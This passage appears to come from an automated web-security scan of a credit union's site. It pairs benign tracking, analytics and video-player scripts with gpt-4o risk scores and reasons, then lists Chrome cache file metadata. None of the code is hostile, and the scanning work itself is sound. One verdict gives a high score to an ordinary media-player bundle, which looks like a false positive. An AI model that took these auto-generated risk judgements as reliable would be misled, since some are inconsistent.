Symbol&&Symbol.toStringTag&&Object.defineProperty(e,Symbol.toStringTag,{value:"Module"}),Object.defineProperty(e,"__esModule",{value:!0})},r.t=function(e,t){if(1&t&&(e=r(e)),8&t)return e;if(4&t&&"object"==typeof e&&e&&e.__esModule)return e;var n=Object.create(null);if(r.r(n),Object.defineProperty(n,"default",{enumerable:!0,value:e}),2&t&&"string"!=typeof e)for(var i in e)r.d(n,i,function(t){return e[t]}.bind(null,i));return n},r.n=function(e){var t=e&&e.__esModule?function(){return e.default}:function(){return e};return r.d(t,"a",t),t},r.o=function(e,t){return Object.prototype.hasOwnProperty.call(e,t)},r.p="",r(r.s=90)}({17:function(e,t,r){"use strict";t.__esModule=!0,t.default=void 0;var n=r(18),i=function(){function e(){}return e.getFirstMatch=fu
URL: https://9749892.fls.doubleclick.net/activityi;dc_pre=CPmT-vKup4YDFd50QQIdxWULrA;src=9749892;type=gener0;cat=nfcu_0;ord=8505920471743;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=843276876;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNot% Model: gpt-4o	```json { "riskscore": 2, "reasons": "The script dynamically loads an external JavaScript file from a third-party domain (c1.rfihub.net). While this is a common practice for loading tracking or advertisement scripts, it does introduce a small risk if the external script is compromised. However, there are no immediate signs of malicious behavior in the provided code itself." }
(function() { var w = window, d = document; var s = d.createElement('script'); s.setAttribute('async', 'true'); s.setAttribute('type', 'text/javascript'); s.setAttribute('src', '//c1.rfihub.net/js/tc.min.js'); var f = d.getElementsByTagName('script')[0]; f.parentNode.insertBefore(s, f); if (typeof w['_rfi'] !== 'function') { w['_rfi']=function() { w['_rfi'].commands = w['_rfi'].commands \|\| []; w['_rfi'].commands.push(arguments); }; } _rfi('setArgs', 'ver', '9'); _rfi('setArgs', 'rb', '39468'); _rfi('setArgs', 'ca', '20823298'); _rfi('setArgs', '_o', '39468'); _rfi('setArgs', '_t', '20823298'); _rfi('track'); })();
URL: https://9749892.fls.doubleclick.net/activityi;dc_pre=CPmR_PKup4YDFT1vQQId598InA;src=9749892;type=gener0;cat=nfcu_000;ord=6213689762165;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=893322139;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNo Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code initializes a tracking pixel using the TTDUniversalPixelApi, which is related to advertisement tracking. There are no signs of malicious behavior such as data exfiltration, credential stealing, or unauthorized access attempts." }
ttd_dom_ready( function() { if (typeof TTDUniversalPixelApi === 'function') { var universalPixelApi = new TTDUniversalPixelApi(); universalPixelApi.init("pcl8biy", ["4b42dtd"], "https://insight.adsrvr.org/track/up"); } });
URL: https://insight.adsrvr.org/track/up?adv=pcl8biy&ref=https%3A%2F%2Fwww.navyfederal.org%2F&upid=4b42dtd&upv=1.1.0&paapi=1 Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code appears to be related to tracking and advertisement functionality. It initializes a tracking mechanism (TTDCM) and includes URLs that are used for user synchronization and tracking purposes. There are no indications of malicious behavior such as data exfiltration, credential stealing, or unauthorized access. Therefore, it is considered to be of no risk." }
(function(global) { var ttdcm = new TTDCM(); ttdcm.init( ["https://match.sync.ad.cpe.dotomi.com/w/user.sync?ptrid=13&gdpr=0&userid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&redirect=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3D6szhitj","https://match.sharethrough.com/sync/v1?source_id=5b286190338513af73f09c28&source_user_id=00d6b47b-5df0-41e1-812e-c334ebaa9abf","https://loadm.exelator.com/load/?p=204&g=461&buid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&j=0&redir=https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fgeneric%3fttd_pid%3dexelate"] ); })(this);
URL: https://liveengage.navyfederal.org/le_secure_storage/3.27.1-release_1249614302/storage.secure.min.html?loc=https%3A%2F%2Fwww.navyfederal.org&site=11478817&env=prod&isCrossDomain=true&accdn=accdn.lpsnmedia.net Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code appears to be a library for string compression and decompression (lz-string). There are no indications of malicious behavior such as data exfiltration, credential harvesting, or unauthorized access. It is a common utility used for reducing the size of data stored or transmitted. No risk detected." }
window.lpTag=window.lpTag\|\|{},window.lpTag.lzString=window.lpTag.lzString\|\|function(){function e(e,t){if(!o[e]){o[e]={};for(var n=0;n<e.length;n++)o[e][e.charAt(n)]=n}return o[e][t]}var t=String.fromCharCode,n="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=",r="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+-$",o={},a={compressToBase64:function(e){if(null==e)return"";var t=a._compress(e,6,function(e){return n.charAt(e)});switch(t.length%4){default:case 0:return t;case 1:return t+"===";case 2:return t+"==";case 3:return t+"="}},decompressFromBase64:function(t){return null==t?"":""==t?null:a._decompress(t.length,32,function(r){return e(n,t.charAt(r))})},compressToUTF16:function(e){return null==e?"":a._compress(e,15,function(e){return t(e+32)})+" "},decompressFromUTF16:function(e){return null==e?"":""==e?null:a._decompress(e.length,16384,function(t){return e.charCodeAt(t)-32})},compressToUint8Array:function(e){for(var t=a.compress(e),n=new Uint8Array(2t.length),r=0,o=t.length;o>r;r++){var i=t.charCodeAt(r);n[2r]=i>>>8,n[2r+1]=i%256}return n},decompressFromUint8Array:function(e){if(null===e\|\|void 0===e)return a.decompress(e);for(var n=new Array(e.length/2),r=0,o=n.length;o>r;r++)n[r]=256e[2r]+e[2r+1];var i=[];return n.forEach(function(e){i.push(t(e))}),a.decompress(i.join(""))},compressToEncodedURIComponent:function(e){return null==e?"":a._compress(e,6,function(e){return r.charAt(e)})},decompressFromEncodedURIComponent:function(t){return null==t?"":""==t?null:(t=t.replace(/ /g,"+"),a._decompress(t.length,32,function(n){return e(r,t.charAt(n))}))},compress:function(e){return a._compress(e,16,function(e){return t(e)})},_compress:function(e,t,n){if(null==e)return"";var r,o,a,i={},s={},l="",c="",u="",p=2,f=3,g=2,d=[],m=0,h=0;for(a=0;a<e.length;a+=1)if(l=e.charAt(a),Object.prototype.hasOwnProperty.call(i,l)\|\|(i[l]=f++,s[l]=!0),c=u+l,Object.prototype.hasOwnProperty.call(i,c))u=c;else{if(Object.prototype.hasOwnProperty.call(s,u)){if(u.charCodeAt(0)<256){for(r=0;g>r;r++)m<<=1,h==t-1?(h=0,d.push(n(m)),m=0):h++;for(o=u.charCodeAt(0),r=0;8>r;r++)m=m<<1\|1&o,h==t-1?(h=0,d.push(n(m)),m=0):h++,o>>=1}else{for(o=1,r=0;g>r;r++)m=m<<1\|o,h==t-1?(h=0,d.push(n(m)),m=0):h++,o=0;for(o=u.charCodeAt(0),r=0;16>r;r++)m=m<<1\|1&o,h==t-1?(h=0,d.push(n(m)),m=0):h++,o>>=1}p--,0==p&&(p=Math.pow(2,g),g++),delete s[u]}else for(o=i[u],r=0;g>r;r++)m=m<<1\|1&o,h==t-1?(h=0,d.push(n(m)),m=0):h++,o>>=1;p--,0==p&&(p=Math.pow(2,g),g++),i[c]=f++,u=String(l)}if(""!==u){if(Object.prototype.hasOwnProperty.call(s,u)){if(u.charCodeAt(0)<256){for(r=0;g>r;r++)m<<=1,h==t-1?(h=0,d.push(n(m)),m=0):h++;for(o=u.charCodeAt(0),r=0;8>r;r++)m=m<<1\|1&o,h==t-1?(h=0,d.push(n(m)),m=0):h++,o>>=1}else{for(o=1,r=0;g>r;r++)m=m<<1\|o,h==t-1?(h=0,d.push(n(m)),m=0):h++,o=0;for(o=u.charCodeAt(0),r=0;16>r;r++)m=m<<1\|1&o,h==t-1?(h=0,d.push(n(m)),m=0):h++,o>>=1}p--,0==p&&(p=Math.pow(2,g),g++),delete s[u]}else for(o=i[u],r=0;g>r;r++)m=m<<1\|1&o,h==t-1?(h=0,d.push(n(m)),m=0):h++,o>>=1;p--,
URL: https://insight.adsrvr.org/track/up?adv=pcl8biy&ref=https%3A%2F%2Fwww.navyfederal.org%2F&upid=4b42dtd&upv=1.1.0&paapi=1 Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code appears to be related to tracking and advertisement functionality. It initializes a tracking mechanism (TTDCM) and sends requests to various tracking and ad services (DoubleClick, AppNexus, BlueKai). There are no indications of malicious behavior such as phishing or data exfiltration beyond the scope of tracking and advertisement." }
(function(global) { var ttdcm = new TTDCM(); ttdcm.init( ["https://cm.g.doubleclick.net/pixel?google_nid=TheTradeDesk&google_cm&google_sc&google_hm=MDBkNmI0N2ItNWRmMC00MWUxLTgxMmUtYzMzNGViYWE5YWJm&gdpr=0&gdpr_consent=&ttd_tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf","https://ib.adnxs.com/getuid?https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fappnexus%3fttd%3d1%26anid%3d%24UID&ttd_tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf","https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dbluekai"] ); })(this);
URL: https://insight.adsrvr.org/track/up?adv=pcl8biy&ref=https%3A%2F%2Fwww.navyfederal.org%2F&upid=4b42dtd&upv=1.1.0&paapi=1 Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code appears to be related to tracking and advertisement functionality. It initializes a tracking mechanism using URLs that are typical for ad tracking and user synchronization purposes. There are no indications of malicious behavior such as phishing attempts, data exfiltration, or unauthorized access." }
(function(global) { var ttdcm = new TTDCM(); ttdcm.init( ["https://su.addthis.com/red/usync?pid=11124&puid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&url=https%3a%2f%2fmatch.adsrvr.org%2ftrack%2fcmf%2fgeneric%3fttd_pid%3daddthis","https://aa.agkn.com/adscores/g.pixel?sid=9211946648&tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&_redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dadadvisor%26ttd_tpi%3D1%26gdpr%3D1%26gdpr_consent%3D","https://dsum-sec.casalemedia.com/rum?cm_dsp_id=39&external_user_id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&expiration=1719182780&gdpr=0&gdpr_consent="] ); })(this);
URL: https://insight.adsrvr.org/track/up?adv=pcl8biy&ref=https%3A%2F%2Fwww.navyfederal.org%2F&upid=4b42dtd&upv=1.1.0&paapi=1 Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code appears to be related to tracking and advertisement functionality. It initializes a tracking mechanism (TTDCM) and sends data to various tracking URLs. There are no indications of malicious behavior such as phishing, data exfiltration, or unauthorized access. Therefore, it is considered low risk." }
(function(global) { var ttdcm = new TTDCM(); ttdcm.init( ["https://pixel.tapad.com/idsync/ex/receive?partner_id=1830&partner_device_id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&partner_url=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dtapad","https://secure-gl.imrworldwide.com/cgi-bin/m?ci=tradedesk&cg=00d6b47b-5df0-41e1-812e-c334ebaa9abf","https://idpix.media6degrees.com/orbserv/hbpix?pixId=69060&pcv=78&ptid=87&tpuv=01&tpu=00d6b47b-5df0-41e1-812e-c334ebaa9abf&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dyjn0gup"] ); })(this);
URL: https://www.navyfederal.org/branches-atms.html Model: gpt-4o	```json { "riskscore": 2, "reasons": "The script primarily deals with tracking and advertisement functionality, which is considered low risk. It checks for certain conditions and then creates an image element to send data to a tracking server. There is no evidence of phishing or malicious behavior such as stealing user data or injecting harmful code." }
_satellite["_runScript10"](function(event, target, Promise) { //// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// var img = document.createElement('img'); gtag('event', 'conversion', { 'allow_custom_scripts': true, 'send_to': 'DC-9749892/gener0/nfcu_000+standard' }); img.src="https://ad.doubleclick.net/ddm/activity/src=9749892;type=gener0;cat=nfcu_000;dc_lat=;dc_rdid=;tag_for_child_directed_treatment=;tfua=;npa=;gdpr=${GDPR};gdpr_consent=${GDPR_CONSENT_755};ord=1?" img.hidden = true; document.body.appendChild(img); } });
URL: https://www.navyfederal.org/branches-atms.html Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code defines a digitalData object that appears to be used for tracking page information and internal search terms. There are no indications of malicious behavior such as data exfiltration, unauthorized access, or harmful actions. The code is benign and related to page analytics." }
digitalData={ page:{ pageInfo:{ pageName:"nfo:branches-atms", toolType:"", }, category:{ siteSection1:"nfo", siteSection2:"nfo:branches-atms", siteSection3:"", }, internalSearch:{ searchTerm:"" } } }
URL: https://www.navyfederal.org/branches-atms.html Model: gpt-4o	```json { "riskscore": 1, "reasons": "The code primarily checks for certain conditions related to GPC (Global Privacy Control) status and restricted state, and then loads a Twitter tracking script if conditions are met. The presence of tracking functionality is considered no risk as per the given instructions. No other malicious behavior is detected." }
_satellite["_runScript12"](function(event, target, Promise) { //// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// !function(e,t,n,s,u,a){e.twq\|\|(s=e.twq=function(){s.exe?s.exe.apply(s,arguments):s.queue.push(arguments); },s.version='1.1',s.queue=[],u=t.createElement(n),u.async=!0,u.src='https://static.ads-twitter.com/uwt.js', a=t.getElementsByTagName(n)[0],a.parentNode.insertBefore(u,a))}(window,document,'script'); twq('config','o4vdx'); } });
URL: https://www.navyfederal.org/branches-atms.html Model: gpt-4o	```json { "riskscore": 1, "reasons": "The code primarily checks for GPC (Global Privacy Control) status and restricted state, and if conditions are met, it loads a Twitter tracking pixel. There is no evidence of malicious behavior such as data exfiltration, credential harvesting, or unauthorized access. The primary functionality is related to tracking, which is considered no risk." }
_satellite["_runScript14"](function(event, target, Promise) { //// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// !function(e,t,n,s,u,a){e.twq\|\|(s=e.twq=function(){s.exe?s.exe.apply(s,arguments):s.queue.push(arguments); },s.version='1.1',s.queue=[],u=t.createElement(n),u.async=!0,u.src='//static.ads-twitter.com/uwt.js', a=t.getElementsByTagName(n)[0],a.parentNode.insertBefore(u,a))}(window,document,'script'); // Insert Twitter Pixel ID and Standard Event data below twq('init','o4vdx'); twq('track','PageView');} });
URL: https://www.navyfederal.org/branches-atms.html Model: gpt-4o	```json { "riskscore": 2, "reasons": "The script dynamically loads an external JavaScript file from 'https://utt.impactcdn.com/A4334543-ba62-4b3a-8fd7-189cf833d2dd1.js' based on certain page names. While loading external scripts can pose a risk if the external source is compromised, there is no immediate indication of malicious intent in the provided code. The risk score is low but not zero due to the potential for the external script to be malicious." }
_satellite["_runScript11"](function(event, target, Promise) { /* Excluding Mortgage and Auto Loan for Initial Implementation "nfo:loans-cards:auto-loans" \|\| "nfo:loans-cards:auto-loans:auto-rates" \|\| "nfo:loans-cards:auto-loans:auto-refinance-rates" \|\| "nfo:loans-cards:mortgage" \|\| "nfo:loans-cards:mortgage:mortgage-rates:va-loans */ var pageName = _satellite.getVar('Page Name') if ( pageName == "nfo:membership:become-a-member" \|\| "nfo:loans-cards:credit-cards" \|\| "nfo:loans-cards:credit-cards:cash-rewards" \|\| "nfo:loans-cards:credit-cards:more-rewards" \|\| "nfo:loans-cards:credit-cards:flagship-visa-signature" \|\| "nfo:loans-cards:credit-cards:go-rewards" \|\| "nfo:loans-cards:credit-cards:platinum" \|\| "nfo:loans-cards:credit-cards:offers:cash-rewards"\|\| "nfo:loans-cards:credit-cards:offers:flagship-visa-signature"\|\| "nfo:loans-cards:credit-cards:offers:go-rewards"\|\| "nfo:loans-cards:credit-cards:offers:platinum"\|\| "nfo:loans-cards:credit-cards:nrewards-secured" \|\| "nfo:campaigns:membership:military-appreciation-month" ) { (function(a,b,c,d,e,f,g){e['ire_o']=c;e[c]=e[c]\|\|function(){(e[c].a=e[c].a\|\|[]).push(arguments)};f=d.createElement(b);g=d.getElementsByTagName(b)[0];f.async=1;f.src=a;g.parentNode.insertBefore(f,g);})('https://utt.impactcdn.com/A4334543-ba62-4b3a-8fd7-189cf833d2dd1.js','script','ire',document,window); } });
URL: https://www.navyfederal.org/branches-atms.html Model: gpt-4o	```json { "riskscore": 2, "reasons": "The script primarily includes tracking functionality using LinkedIn's tracking pixel and script. There is a conditional check for GPC (Global Privacy Control) status and Akamai restricted state, which appears to be a privacy compliance measure. No direct malicious behavior such as data exfiltration, credential stealing, or unauthorized access was detected. The risk score is low, but not zero, due to the presence of external script loading which could potentially be exploited if the external source is compromised." }
_satellite["_runScript13"](function(event, target, Promise) { //// Condition to validate GPC Status starts ////// var GPC_Status = _satellite.getVar("GPC_Status").toString(); var Restricted_State = _satellite.getVar("Akamai_Restricted_State"); if (!(GPC_Status.indexOf('1') > -1 && Restricted_State.indexOf('true') > -1)){ //// Condition to validate GPC Status ends ////// var img = document.createElement('img'); _linkedin_partner_id = "5351114"; window._linkedin_data_partner_ids = window._linkedin_data_partner_ids \|\| []; window._linkedin_data_partner_ids.push(_linkedin_partner_id); (function(l) { if (!l){window.lintrk = function(a,b){window.lintrk.q.push([a,b])}; window.lintrk.q=[]} var s = document.getElementsByTagName("script")[0]; var b = document.createElement("script"); b.type = "text/javascript";b.async = true; b.src = 'https://snap.licdn.com/li.lms-analytics/insight.min.js'; s.parentNode.insertBefore(b, s);})(window.lintrk); img.src='https://px.ads.linkedin.com/collect/?pid=5351114&fmt=gif' img.hidden = true; document.body.appendChild(img); } });
URL: https://insight.adsrvr.org/track/up?adv=pcl8biy&ref=https%3A%2F%2Fwww.navyfederal.org%2Fbranches-atms.html&upid=4b42dtd&upv=1.1.0&paapi=1 Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code appears to be related to tracking and advertisement functionality. It initializes a tracking mechanism (TTDCM) and makes requests to various URLs for tracking purposes. There are no indications of malicious behavior such as phishing attempts, data exfiltration, or unauthorized access to sensitive information." }
(function(global) { var ttdcm = new TTDCM(); ttdcm.init( ["https://eb2.3lift.com/xuid?mid=3658&xuid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&dongle=0cfd&gdpr=0&gdpr_consent=&redir=https://match.adsrvr.org/track/cmf/generic?ttd_pid=svx9t50","https://i.liadm.com/s/35759?bidder_id=44489&bidder_uuid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&cb=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dliveintent","https://dmp.truoptik.com/6d78f32846d8648c/sync.gif?fck=00d6b47b-5df0-41e1-812e-c334ebaa9abf"] ); })(this);
URL: https://9749892.fls.doubleclick.net/activityi;dc_pre=CPmR_PKup4YDFT1vQQId598InA;src=9749892;type=gener0;cat=nfcu_000;ord=6213689762165;npa=0;auiddc=1380165631.1716590754;ps=1;pcor=893322139;uaa=x86;uab=64;uafvl=Google%2520Chrome%3B117.0.5938.134%7CNo Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code is for integrating Microsoft's Bing Universal Event Tracking (UET) script. It is used for tracking user interactions on a website for analytics purposes. This is a common and legitimate use case for web analytics and does not pose any inherent security risks." }
(function(w,d,t,r,u){var f,n,i;w[u]=w[u]\|\|[],f=function(){var o={ti:"25148914", enableAutoSpaTracking: true};o.q=w[u],w[u]=new UET(o),w[u].push("pageLoad")},n=d.createElement(t),n.src=r,n.async=1,n.onload=n.onreadystatechange=function(){var s=this.readyState;s&&s!=="loaded"&&s!=="complete"\|\|(f(),n.onload=n.onreadystatechange=null)},i=d.getElementsByTagName(t)[0],i.parentNode.insertBefore(n,i)})(window,document,"script","//bat.bing.com/bat.js","uetq");
URL: https://www.navyfederal.org/contact-us.html Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code defines a data structure for digital data tracking purposes, specifically related to page information and internal search terms. There are no indications of malicious behavior or phishing attempts in the code." }
digitalData={ page:{ pageInfo:{ pageName:"nfo:contact-us", toolType:"", }, category:{ siteSection1:"nfo", siteSection2:"nfo:contact-us", siteSection3:"", }, internalSearch:{ searchTerm:"" } } }
URL: https://players.brightcove.net/5289441629001/H1eDsUIBZ_default/index.html?videoId=5368522558001 Model: gpt-4o	```json { "riskscore": 7, "reasons": "The code contains functionality to create and manipulate binary data blobs, including audio and video data. This can be used for legitimate purposes, such as media playback, but it can also be used maliciously to deliver or execute hidden payloads. The presence of undefined variables and dynamic requires that are not supported adds to the suspicion. However, without further context or execution, it's not definitively malicious." }
(function(){var e=function(e,t){var r=undefined;var i=e.define;var n=e.videojs;e.VIDEOJS_NO_DYNAMIC_STYLE=true;var a=function(r){"use strict";function i(e){return e&&typeof e==="object"&&"default"in e?e:{default:e}}var n=i(r);var a="0.31.4";function s(e,t,r){return r={path:t,exports:{},require:function(e,t){return o(e,t===undefined\|\|t===null?r.path:t)}},e(r,r.exports),r.exports}function o(){throw new Error("Dynamic requires are not currently supported by @rollup/plugin-commonjs")}var u=s(function(e){function t(){e.exports=t=Object.assign\|\|function(e){for(var t=1;t<arguments.length;t++){var r=arguments[t];for(var i in r){if(Object.prototype.hasOwnProperty.call(r,i)){e[i]=r[i]}}}return e},e.exports.__esModule=true,e.exports["default"]=e.exports;return t.apply(this,arguments)}e.exports=t,e.exports.__esModule=true,e.exports["default"]=e.exports});var l=new Blob([new Uint8Array([255,227,24,196,0,0,0,3,72,1,64,0,0,4,132,16,31,227,192,225,76,255,67,12,255,221,27,255,228,97,73,63,255,195,131,69,192,232,223,255,255,207,102,239,255,255,255,101,158,206,70,20,59,255,254,95,70,149,66,4,16,128,0,2,2,32,240,138,255,36,106,183,255,227,24,196,59,11,34,62,80,49,135,40,0,253,29,191,209,200,141,71,7,255,252,152,74,15,130,33,185,6,63,255,252,195,70,203,86,53,15,255,255,247,103,76,121,64,32,47,255,34,227,194,209,138,76,65,77,69,51,46,57,55,170,170,170,170,170,170,170,170,170,170,255,227,24,196,73,13,153,210,100,81,135,56,0,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170,170])],{type:"audio/mpeg"});var c=new Blob([new Uint8Array([0,0,0,28,102,116,121,112,105,115,111,109,0,0,2,0,105,115,111,109,105,115,111,50,109,112,52,49,0,0,0,8,102,114,101,101,0,0,2,239,109,100,97,116,33,16,5,32,164,27,255,192,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,55,167,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,112,33,16,5,32,164,27,255,192,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0
URL: https://insight.adsrvr.org/track/up?adv=pcl8biy&ref=https%3A%2F%2Fwww.navyfederal.org%2Fcontact-us.html&upid=4b42dtd&upv=1.1.0&paapi=1 Model: gpt-4o	```json { "riskscore": 0, "reasons": "The provided JavaScript code appears to be related to tracking and advertisement functionality. It initializes a tracking mechanism using TTDCM and makes requests to various URLs for tracking purposes. There are no indications of malicious behavior such as data exfiltration, credential stealing, or unauthorized access attempts." }
(function(global) { var ttdcm = new TTDCM(); ttdcm.init( ["https://uipglob.semasio.net/tradedesk/1/get?sType=sync&sExtCookieId=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&sInitiator=external&_url=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dsemasio%26gdpr%3D0%26gdpr_consent%3D","https://io.narrative.io/?companyId=127&id=ttd_id:00d6b47b-5df0-41e1-812e-c334ebaa9abf&red=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dazhe26g","https://mid.rkdms.com/bct?pid=02760a75-50e3-4c64-b77b-fb5fcd04e437&_ct=img&puid=00d6b47b-5df0-41e1-812e-c334ebaa9abf"] ); })(this);

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	ASCII text, with very long lines (20915)
Category:	downloaded
Size (bytes):	21002
Entropy (8bit):	5.5197438125912175
Encrypted:	false
SSDEEP:	384:55fPqLM2GNbgmS0C3bwpesw7QMvx7CPUwULWUC:5NPlJNbg1Vl1dk
MD5:	9AB357D51E365493DAB6CF243489069B
SHA1:	10869D59B20D631A6B6D31BD2112AD55C3A3206C
SHA-256:	2782883AA2E55FE305DD71C4B8A79CDECD0E3C7B62880F7ADF37AAFB33739A4A
SHA-512:	2F2E100773D4701D253222AD9DA1EDBF05D451BEEC2194E675E604918F556033AF4E4F987075180E1634BDE3C4CB2918AC1B6D36A35A26B7400D2FEC618CCF59
Malicious:	false
Reputation:	low
URL:	https://vjs.zencdn.net/vttjs/0.15.3/vtt.global.min.js
Preview:	/* videojs-vtt.js - v0.15.3 (https://github.com/videojs/vtt.js) built on 13-04-2021 /.!function(a){var b;"undefined"!=typeof window?b=window:"undefined"!=typeof self&&(b=self),b.vttjs=a()}(function(){return function(){function a(b,c,d){function e(g,h){if(!c[g]){if(!b[g]){var i="function"==typeof require&&require;if(!h&&i)return i(g,!0);if(f)return f(g,!0);var j=new Error("Cannot find module '"+g+"'");throw j.code="MODULE_NOT_FOUND",j}var k=c[g]={exports:{}};b[g][0].call(k.exports,function(a){return e(b[g][1][a]\|\|a)},k,k.exports,a,b,c,d)}return c[g].exports}for(var f="function"==typeof require&&require,g=0;g<d.length;g++)e(d[g]);return e}return a}()({1:[function(a,b,c){function d(a,b){this.name="ParsingError",this.code=a.code,this.message=b\|\|a.message}function e(a){function b(a,b,c,d){return 3600(0\|a)+60*(0\|b)+(0\|c)+(0\|d)/1e3}var c=a.match(/^(\d+):(\d{1,2})(:\d{1,2})?\.(\d{3})/);return c?c[3]?b(c[1],c[2],c[3].replace(":",""),c[4]):c[1]>59?b(c[1],c[2],0,c[4]):b(0,c[1],c[2],c[4]):null}f

Chrome Cache Entry: 193

Download File

Process:	C:\Program Files\Google\Chrome\Application\chrome.exe
File Type:	PNG image data, 256 x 256, 8-bit colormap, non-interlaced
Category:	dropped
Size (bytes):	7227
Entropy (8bit):	7.9456894660017205
Encrypted:	false
SSDEEP:	192:5YOawZYKE2gLG8beKaM8+XAL5q/dBKUwILGEfs:CORCTz8+Q9q/LKUZLXfs
MD5:	5DC86B3891E93EA99F2B54842FF87EB7
SHA1:	2DE03F7167F37ED1967E7AE4EAA6CB8198619362
SHA-256:	E03B66D28996D7035391A72ECF3EF63EB0E0A3436E628293133F33D5E2CF54F6
SHA-512:	1CAB605BBBD37B67E68641932F5662449183C79001609F39FE6491D488E018CCBB63C3E50F8990B6DF88DFFF4E588C2D3258CEACF6EBB37D2D670D1972E34EF4
Malicious:	false
Reputation:	low
